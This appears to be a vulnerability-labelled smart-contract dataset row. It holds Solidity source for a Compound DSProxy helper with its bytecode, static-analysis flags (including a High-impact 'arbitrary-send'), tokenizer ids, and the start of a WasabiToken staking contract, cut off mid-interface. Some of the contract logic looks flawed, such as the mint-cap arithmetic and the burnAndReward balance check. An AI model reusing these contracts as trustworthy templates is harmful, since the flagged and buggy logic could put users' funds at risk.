(_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Compound protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _cTokenAddr CTokens to be paybacked /// @param _amount Amount of tokens to be payedback /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (_wholeDebt) { _amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0); } else { CEtherInterface(_cTokenAddr).repayBorrow{value: _amount}(); msg.sender.transfer(address(this).balance); // send back the extra eth } } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice Enters the Compound market so it can be deposited/borrowed /// @param _cTokenAddr CToken address of the token function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } /// @notice Exits the Compound market so it can't be deposited/borrowed /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, 0); ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } }
0x6080604052600436106100915760003560e01c80638905d178116100595780638905d1781461018f578063934785b7146101cd578063c91d59fe14610218578063ede4edd01461022d578063f4d770e41461026057610091565b80633fe5d4251461009657806346d6773b146100cb57806349df728c146100fc57806351169f6b1461012f5780637753f47b1461017a575b600080fd5b3480156100a257600080fd5b506100c9600480360360208110156100b957600080fd5b50356001600160a01b031661029e565b005b3480156100d757600080fd5b506100e061043f565b604080516001600160a01b039092168252519081900360200190f35b34801561010857600080fd5b506100c96004803603602081101561011f57600080fd5b50356001600160a01b0316610457565b34801561013b57600080fd5b506100c96004803603608081101561015257600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135151561053f565b34801561018657600080fd5b506100e06107bb565b6100c9600480360360808110156101a557600080fd5b506001600160a01b0381358116916020810135909116906040810135906060013515156107d3565b3480156101d957600080fd5b506100c9600480360360808110156101f057600080fd5b506001600160a01b038135811691602081013590911690604081013590606001351515610a95565b34801561022457600080fd5b506100e0610c67565b34801561023957600080fd5b506100c96004803603602081101561025057600080fd5b50356001600160a01b0316610c7a565b6100c96004803603608081101561027657600080fd5b506001600160a01b038135811691602081013590911690604081013590606001351515610d05565b6040805160018082528183019092526060916020808301908036833701905050905081816000815181106102ce57fe5b6001600160a01b03909216602092830291909101820152604051631853304760e31b815260048101828152835160248301528351733d9819210a31b4961b30ef54be2aed79b9c9cd3b9363c2998238938693928392604490920191858101910280838360005b8381101561034c578181015183820152602001610334565b5050505090500192505050600060405180830381600087803b15801561037157600080fd5b505af1158015610385573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156103ae57600080fd5b81019080805160405193929190846401000000008211156103ce57600080fd5b9083019060208201858111156103e357600080fd5b825186602082028301116401000000008211171561040057600080fd5b82525081516020918201928201910280838360005b8381101561042d578181015183820152602001610415565b50505050905001604052505050505050565b733d9819210a31b4961b30ef54be2aed79b9c9cd3b81565b6001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461050e5761050933826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156104cc57600080fd5b505afa1580156104e0573d6000803e3d6000fd5b505050506040513d60208110156104f657600080fd5b50516001600160a01b0384169190610f21565b61053c565b60405133904780156108fc02916000818181858888f1935050505015801561053a573d6000803e3d6000fd5b505b50565b600880604080516370a0823160e01b8152306004820152905182916eb3f879cb30fe243b4dfee438691c04916370a0823191602480820192602092909190829003018186803b15801561059157600080fd5b505afa1580156105a5573d6000803e3d6000fd5b505050506040513d60208110156105bb57600080fd5b505110610644576eb3f879cb30fe243b4dfee438691c046001600160a01b031663d8ccd0f3826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561061757600080fd5b505af115801561062b573d6000803e3d6000fd5b505050506040513d602081101561064157600080fd5b50505b82610652576106528561029e565b846001600160a01b031663c5ebeaec856040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561069857600080fd5b505af11580156106ac573d6000803e3d6000fd5b505050506040513d60208110156106c257600080fd5b5051156106ce57600080fd5b6001600160a01b03861673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146107855761078033876001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d602081101561076d57600080fd5b50516001600160a01b0389169190610f21565b6107b3565b60405133904780156108fc02916000818181858888f193505050501580156107b1573d6000803e3d6000fd5b505b505050505050565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b600580604080516370a0823160e01b8152306004820152905182916eb3f879cb30fe243b4dfee438691c04916370a0823191602480820192602092909190829003018186803b15801561082557600080fd5b505afa158015610839573d6000803e3d6000fd5b505050506040513d602081101561084f57600080fd5b5051106108d8576eb3f879cb30fe243b4dfee438691c046001600160a01b031663d8ccd0f3826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156108ab57600080fd5b505af11580156108bf573d6000803e3d6000fd5b505050506040513d60208110156108d557600080fd5b50505b6108e28686610f73565b821561095f57604080516305eff7ef60e21b815230600482015290516001600160a01b038716916317bfdfbc9160248083019260209291908290030181600087803b15801561093057600080fd5b505af1158015610944573d6000803e3d6000fd5b505050506040513d602081101561095a57600080fd5b505193505b6001600160a01b03861673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610a14576109986001600160a01b038716333087610fc2565b846001600160a01b0316630e752702856040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156109de57600080fd5b505af11580156109f2573d6000803e3d6000fd5b505050506040513d6020811015610a0857600080fd5b50511561078057600080fd5b846001600160a01b0316634e4d9fea856040518263ffffffff1660e01b81526004016000604051808303818588803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b50506040513393504780156108fc02935091506000818181858888f193505050501580156107b1573d6000803e3d6000fd5b600580604080516370a0823160e01b8152306004820152905182916eb3f879cb30fe243b4dfee438691c04916370a0823191602480820192602092909190829003018186803b158015610ae757600080fd5b505afa158015610afb573d6000803e3d6000fd5b505050506040513d6020811015610b1157600080fd5b505110610b9a576eb3f879cb30fe243b4dfee438691c046001600160a01b031663d8ccd0f3826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610b6d57600080fd5b505af1158015610b81573d6000803e3d6000fd5b505050506040513d6020811015610b9757600080fd5b50505b8215610c2157846001600160a01b031663db006a75856040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610be657600080fd5b505af1158015610bfa573d6000803e3d6000fd5b505050506040513d6020811015610c1057600080fd5b505115610c1c57600080fd5b6106ce565b846001600160a01b031663852a12e3856040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561069857600080fd5b6eb3f879cb30fe243b4dfee438691c0481565b60408051630ede4edd60e41b81526001600160a01b03831660048201529051733d9819210a31b4961b30ef54be2aed79b9c9cd3b9163ede4edd09160248083019260209291908290030181600087803b158015610cd657600080fd5b505af1158015610cea573d6000803e3d6000fd5b505050506040513d6020811015610d0057600080fd5b505050565b600580604080516370a0823160e01b8152306004820152905182916eb3f879cb30fe243b4dfee438691c04916370a0823191602480820192602092909190829003018186803b158015610d5757600080fd5b505afa158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b505110610e0a576eb3f879cb30fe243b4dfee438691c046001600160a01b031663d8ccd0f3826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610ddd57600080fd5b505af1158015610df1573d6000803e3d6000fd5b505050506040513d6020811015610e0757600080fd5b50505b6001600160a01b03861673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610e4357610e436001600160a01b038716333087610fc2565b610e4d8686610f73565b82610e5b57610e5b8561029e565b6001600160a01b03861673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14610ec557846001600160a01b031663a0712d68856040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156109de57600080fd5b846001600160a01b0316631249c58b346040518263ffffffff1660e01b81526004016000604051808303818588803b158015610f0057600080fd5b505af1158015610f14573d6000803e3d6000fd5b5050505050505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610d00908490611022565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461053a57610fac6001600160a01b0383168260006110d3565b61053a6001600160a01b038316826000196110d3565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261101c908590611022565b50505050565b6060611077826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166111259092919063ffffffff16565b805190915015610d005780806020019051602081101561109657600080fd5b5051610d005760405162461bcd60e51b815260040180806020018281038252602a815260200180611321602a913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052610d00908490611022565b6060611134848460008561113c565b949350505050565b6060611147856112e7565b611198576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106111d75780518252601f1990920191602091820191016111b8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611239576040519150601f19603f3d011682016040523d82523d6000602084013e61123e565b606091505b509150915081156112525791506111349050565b8051156112625780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112ac578181015183820152602001611294565b50505050905090810190601f1680156112d95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061113457505015159291505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212206d12b41f10a69cb6965161ac9fe469bb848408d0ef62ba909fb710a9a079228464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2278, 16048, 15136, 2094, 2487, 2050, 2620, 2620, 16409, 2575, 5243, 2575, 2497, 28756, 2683, 2549, 2278, 2692, 2620, 2549, 5243, 6305, 2692, 2581, 2546, 16409, 4402, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 8278, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,819
0x976d1D061f282a672782ce913023E277a8652674
// Dependency file: contracts/interface/IERC20.sol //SPDX-License-Identifier: MIT // pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // Dependency file: contracts/interface/ERC2917-Interface.sol // pragma solidity >=0.6.6; // import 'contracts/interface/IERC20.sol'; interface IERC2917 is IERC20 { /// @dev This emit when interests amount per block is changed by the owner of the contract. /// It emits with the old interests amount and the new interests amount. event InterestsPerBlockChanged (uint oldValue, uint newValue); /// @dev This emit when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityIncreased (address indexed user, uint value); /// @dev This emit when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityDecreased (address indexed user, uint value); /// @dev Return the current contract's interests rate per block. /// @return The amount of interests currently producing per each block. function interestsPerBlock() external view returns (uint); /// @notice Change the current contract's interests rate. /// @dev Note the best practice will be restrict the gross product provider's contract address to call this. /// @return The true/fase to notice that the value has successfully changed or not, when it succeed, it will emite the InterestsPerBlockChanged event. function changeInterestsPerBlock(uint value) external returns (bool); /// @notice It will get the productivity of given user. /// @dev it will return 0 if user has no productivity proved in the contract. /// @return user's productivity and overall productivity. function getProductivity(address user) external view returns (uint, uint); /// @notice increase a user's productivity. /// @dev Note the best practice will be restrict the callee to prove of productivity's contract address. /// @return true to confirm that the productivity added success. function increaseProductivity(address user, uint value) external returns (uint); /// @notice decrease a user's productivity. /// @dev Note the best practice will be restrict the callee to prove of productivity's contract address. /// @return true to confirm that the productivity removed success. function decreaseProductivity(address user, uint value) external returns (uint); /// @notice take() will return the interests that callee will get at current block height. /// @dev it will always calculated by block.number, so it will change when block height changes. /// @return amount of the interests that user are able to mint() at current block height. function take() external view returns (uint); /// @notice similar to take(), but with the block height joined to calculate return. /// @dev for instance, it returns (_amount, _block), which means at block height _block, the callee has accumulated _amount of interests. /// @return amount of interests and the block height. function takeWithBlock() external view returns (uint, uint); /// @notice mint the avaiable interests to callee. /// @dev once it mint, the amount of interests will transfer to callee's address. /// @return the amount of interests minted. function mint(address to) external returns (uint); } // Dependency file: contracts/libraries/Upgradable.sol // pragma solidity >=0.5.16; contract UpgradableProduct { address public impl; event ImplChanged(address indexed _oldImpl, address indexed _newImpl); constructor() public { impl = msg.sender; } modifier requireImpl() { require(msg.sender == impl, 'FORBIDDEN'); _; } function upgradeImpl(address _newImpl) public requireImpl { require(_newImpl != address(0), 'INVALID_ADDRESS'); require(_newImpl != impl, 'NO_CHANGE'); address lastImpl = impl; impl = _newImpl; emit ImplChanged(lastImpl, _newImpl); } } contract UpgradableGovernance { address public governor; event GovernorChanged(address indexed _oldGovernor, address indexed _newGovernor); constructor() public { governor = msg.sender; } modifier requireGovernor() { require(msg.sender == governor, 'FORBIDDEN'); _; } function upgradeGovernance(address _newGovernor) public requireGovernor { require(_newGovernor != address(0), 'INVALID_ADDRESS'); require(_newGovernor != governor, 'NO_CHANGE'); address lastGovernor = governor; governor = _newGovernor; emit GovernorChanged(lastGovernor, _newGovernor); } } // Dependency file: contracts/libraries/SafeMath.sol // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: contracts/WasabiToken.sol // pragma solidity >=0.6.6; // import 'contracts/interface/ERC2917-Interface.sol'; // import 'contracts/libraries/Upgradable.sol'; // import 'contracts/libraries/SafeMath.sol'; /* The Objective of ERC2917 Demo is to implement a decentralized staking mechanism, which calculates users' share by accumulating productiviy * time. And calculates users revenue from anytime t0 to t1 by the formula below: user_accumulated_productivity(time1) - user_accumulated_productivity(time0) _____________________________________________________________________________ * (gross_product(t1) - gross_product(t0)) total_accumulated_productivity(time1) - total_accumulated_productivity(time0) */ contract WasabiToken is IERC2917, UpgradableProduct, UpgradableGovernance { using SafeMath for uint; uint public mintCumulation; uint public maxMintCumulation; struct Production { uint amount; // how many tokens could be produced on block basis uint total; // total produced tokens uint block; // last updated block number } Production internal grossProduct = Production(0, 0, 0); struct Productivity { uint product; // user's productivity uint total; // total productivity uint block; // record's block number uint user; // accumulated products uint global; // global accumulated products uint gross; // global gross products } Productivity public global; mapping(address => Productivity) public users; uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'Locked'); unlocked = 0; _; unlocked = 1; } // implementation of ERC20 interfaces. string override public name; string override public symbol; uint8 override public decimals = 18; uint override public totalSupply; mapping(address => uint) override public balanceOf; mapping(address => mapping(address => uint)) override public allowance; function _transfer(address from, address to, uint value) private { require(balanceOf[from] >= value, 'ERC20Token: INSUFFICIENT_BALANCE'); balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); if (to == address(0)) { // burn totalSupply = totalSupply.sub(value); } emit Transfer(from, to, value); } function approve(address spender, uint value) external override returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external override returns (bool) { require(allowance[from][msg.sender] >= value, 'ERC20Token: INSUFFICIENT_ALLOWANCE'); allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); _transfer(from, to, value); return true; } // end of implementation of ERC20 // creation of the interests token. constructor(uint _interestsRate, uint _maxMintCumulation) UpgradableProduct() UpgradableGovernance() public { name = "Wasabi Swap"; symbol = "WASABI"; decimals = 18; maxMintCumulation = _maxMintCumulation; grossProduct.amount = _interestsRate; grossProduct.block = block.number; } // When calling _computeBlockProduct() it calculates the area of productivity * time since last time and accumulate it. function _computeBlockProduct() private view returns (uint) { uint elapsed = block.number.sub(grossProduct.block); return grossProduct.amount.mul(elapsed); } // compute productivity returns total productivity of a user. function _computeProductivity(Productivity memory user) private view returns (uint) { uint blocks = block.number.sub(user.block); return user.total.mul(blocks); } // update users' productivity by value with boolean value indicating increase or decrease. function _updateProductivity(Productivity storage user, uint value, bool increase) private returns (uint productivity) { user.product = user.product.add(_computeProductivity(user)); global.product = global.product.add(_computeProductivity(global)); require(global.product <= uint(-1), 'GLOBAL_PRODUCT_OVERFLOW'); user.block = block.number; global.block = block.number; if(increase) { user.total = user.total.add(value); global.total = global.total.add(value); } else { user.total = user.total.sub(value); global.total = global.total.sub(value); } productivity = user.total; } // External function call // This function adjust how many token will be produced by each block, eg: // changeAmountPerBlock(100) // will set the produce rate to 100/block. function changeInterestsPerBlock(uint value) external override requireGovernor returns (bool) { uint old = grossProduct.amount; require(value != old, 'AMOUNT_PER_BLOCK_NO_CHANGE'); uint product = _computeBlockProduct(); grossProduct.total = grossProduct.total.add(product); grossProduct.block = block.number; grossProduct.amount = value; require(grossProduct.total <= uint(-1), 'BLOCK_PRODUCT_OVERFLOW'); emit InterestsPerBlockChanged(old, value); return true; } // External function call // This function increase user's productivity and updates the global productivity. // the users' actual share percentage will calculated by: // Formula: user_productivity / global_productivity function increaseProductivity(address user, uint value) external override requireImpl returns (uint) { if(mintCumulation >= maxMintCumulation) return 0; require(value > 0, 'PRODUCTIVITY_VALUE_MUST_BE_GREATER_THAN_ZERO'); Productivity storage product = users[user]; if (product.block == 0) { product.gross = grossProduct.total.add(_computeBlockProduct()); product.global = global.product.add(_computeProductivity(global)); } uint _productivity = _updateProductivity(product, value, true); emit ProductivityIncreased(user, value); return _productivity; } // External function call // This function will decreases user's productivity by value, and updates the global productivity // it will record which block this is happenning and accumulates the area of (productivity * time) function decreaseProductivity(address user, uint value) external override requireImpl returns (uint) { if(mintCumulation >= maxMintCumulation) return 0; Productivity storage product = users[user]; require(value > 0 && product.total >= value, 'INSUFFICIENT_PRODUCTIVITY'); uint _productivity = _updateProductivity(product, value, false); emit ProductivityDecreased(user, value); return _productivity; } // External function call // When user calls this function, it will calculate how many token will mint to user from his productivity * time // Also it calculates global token supply from last time the user mint to this time. function mint(address to) external override lock returns (uint) { if(mintCumulation >= maxMintCumulation) return 0; (uint gp, uint userProduct, uint globalProduct, uint amount) = _computeUserProduct(); if(amount == 0) return 0; Productivity storage product = users[msg.sender]; product.gross = gp; product.user = userProduct; product.global = globalProduct; if (mintCumulation.add(amount) > maxMintCumulation) { amount = mintCumulation.add(amount).sub(maxMintCumulation); } balanceOf[to] = balanceOf[to].add(amount); totalSupply = totalSupply.add(amount); mintCumulation = mintCumulation.add(amount); emit Transfer(address(0), msg.sender, amount); return amount; } // Returns how many token he will be able to mint. function _computeUserProduct() private view returns (uint gp, uint userProduct, uint globalProduct, uint amount) { Productivity memory product = users[msg.sender]; gp = grossProduct.total.add(_computeBlockProduct()); userProduct = product.product.add(_computeProductivity(product)); globalProduct = global.product.add(_computeProductivity(global)); uint deltaBlockProduct = gp.sub(product.gross); uint numerator = userProduct.sub(product.user); uint denominator = globalProduct.sub(product.global); if (denominator > 0) { amount = deltaBlockProduct.mul(numerator) / denominator; } } function burnAndReward(uint amountBurn, address rewardToken) public returns (uint amountReward) { uint totalReward = IERC20(rewardToken).balanceOf(address(this)); require(totalReward > 0 && totalSupply > 0, "Invalid."); require(IERC20(rewardToken).balanceOf(msg.sender) >= amountBurn, "Insufficient."); amountReward = amountBurn.mul(totalReward).div(totalSupply); _transfer(msg.sender, address(0), amountBurn); IERC20(rewardToken).transfer(msg.sender, amountReward); } // Returns how many productivity a user has and global has. function getProductivity(address user) external override view returns (uint, uint) { return (users[user].total, global.total); } // Returns the current gorss product rate. function interestsPerBlock() external override view returns (uint) { return grossProduct.amount; } // Returns how much a user could earn. function take() external override view returns (uint) { if(mintCumulation >= maxMintCumulation) return 0; (, , , uint amount) = _computeUserProduct(); return amount; } // Returns how much a user could earn plus the giving block number. function takeWithBlock() external override view returns (uint, uint) { if(mintCumulation >= maxMintCumulation) return (0, block.number); (, , , uint amount) = _computeUserProduct(); return (amount, block.number); } } // Dependency file: contracts/libraries/TransferHelper.sol // pragma solidity >=0.6.0; library SushiHelper { function deposit(address masterChef, uint256 pid, uint256 amount) internal { (bool success, bytes memory data) = masterChef.call(abi.encodeWithSelector(0xe2bbb158, pid, amount)); require(success && data.length == 0, "SushiHelper: DEPOSIT FAILED"); } function withdraw(address masterChef, uint256 pid, uint256 amount) internal { (bool success, bytes memory data) = masterChef.call(abi.encodeWithSelector(0x441a3e70, pid, amount)); require(success && data.length == 0, "SushiHelper: WITHDRAW FAILED"); } function pendingSushi(address masterChef, uint256 pid, address user) internal returns (uint256 amount) { (bool success, bytes memory data) = masterChef.call(abi.encodeWithSelector(0x195426ec, pid, user)); require(success && data.length != 0, "SushiHelper: WITHDRAW FAILED"); amount = abi.decode(data, (uint256)); } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // Dependency file: contracts/interface/IWasabi.sol // pragma solidity >=0.5.0; interface IWasabi { function getOffer(address _lpToken, uint index) external view returns (address offer); function getOfferLength(address _lpToken) external view returns (uint length); function pool(address _token) external view returns (uint); function increaseProductivity(uint amount) external; function decreaseProductivity(uint amount) external; function tokenAddress() external view returns(address); function addTakerOffer(address _offer, address _user) external returns (uint); function getUserOffer(address _user, uint _index) external view returns (address); function getUserOffersLength(address _user) external view returns (uint length); function getTakerOffer(address _user, uint _index) external view returns (address); function getTakerOffersLength(address _user) external view returns (uint length); function offerStatus() external view returns(uint amountIn, address masterChef, uint sushiPid); function cancel(address _from, address _sushi) external ; function take(address taker,uint amountWasabi) external; function payback(address _from) external; function close(address _from, uint8 _state, address _sushi) external returns (address tokenToOwner, address tokenToTaker, uint amountToOwner, uint amountToTaker); function upgradeGovernance(address _newGovernor) external; function acceptToken() external view returns(address); function rewardAddress() external view returns(address); function getTokensLength() external view returns (uint); function tokens(uint _index) external view returns(address); function offers(address _offer) external view returns(address tokenIn, address tokenOut, uint amountIn, uint amountOut, uint expire, uint interests, uint duration); function 